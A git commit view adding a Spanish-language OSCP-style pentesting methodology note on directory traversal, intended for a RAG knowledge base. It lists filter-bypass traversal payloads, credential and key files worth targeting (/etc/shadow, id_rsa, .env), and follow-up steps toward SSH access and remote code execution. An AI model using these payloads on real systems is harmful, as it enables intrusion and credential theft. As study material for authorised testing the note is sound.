saber: pack de metodologia publico (conocimiento/) + doc del RAG
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
This commit is contained in:
parent
12987539a4
commit
7e06ce46cf
76 changed files with 2682 additions and 8 deletions
|
|
@ -0,0 +1,37 @@
|
|||
# Directory traversal
|
||||
|
||||
> Salir del directorio web con `../` para **leer ficheros arbitrarios**. Distinto de LFI a RCE: traversal solo **lee**; LFI **incluye/ejecuta**. Vector de Hacking web.
|
||||
|
||||
## Dónde
|
||||
Parámetros que apuntan a ficheros: `?file=`, `?page=`, `?download=`, `?doc=`, `?path=`, `?lang=`.
|
||||
|
||||
## Payloads
|
||||
```
|
||||
../../../../etc/passwd
|
||||
....//....//....//etc/passwd (bypass de filtro que quita "../")
|
||||
%2e%2e%2f%2e%2e%2fetc%2fpasswd (URL-encode)
|
||||
%252e%252e%252f (doble URL-encode)
|
||||
/etc/passwd (ruta absoluta directa)
|
||||
..%c0%af..%c0%af (UTF-8 overlong)
|
||||
```
|
||||
|
||||
## Windows
|
||||
```
|
||||
..\..\..\..\windows\win.ini
|
||||
..\..\..\..\windows\system32\drivers\etc\hosts
|
||||
```
|
||||
|
||||
## Ficheros jugosos
|
||||
```
|
||||
/etc/passwd /etc/shadow /etc/hosts
|
||||
~/.ssh/id_rsa → login SSH directo
|
||||
config.php web.config .env → credenciales de BD
|
||||
/var/www/html/... → código fuente (busca creds, segundos vectores)
|
||||
```
|
||||
|
||||
## Siguiente paso
|
||||
- Lees `id_rsa` → SSH como ese usuario.
|
||||
- Lees código/config → credenciales → Authentication attacks / reutilización.
|
||||
- Si además se **incluye** (PHP) → escala a LFI a RCE.
|
||||
|
||||
Relacionado: LFI a RCE · Burp Repeater e Intruder · OSCP MOC
|
||||
Loading…
Add table
Add a link
Reference in a new issue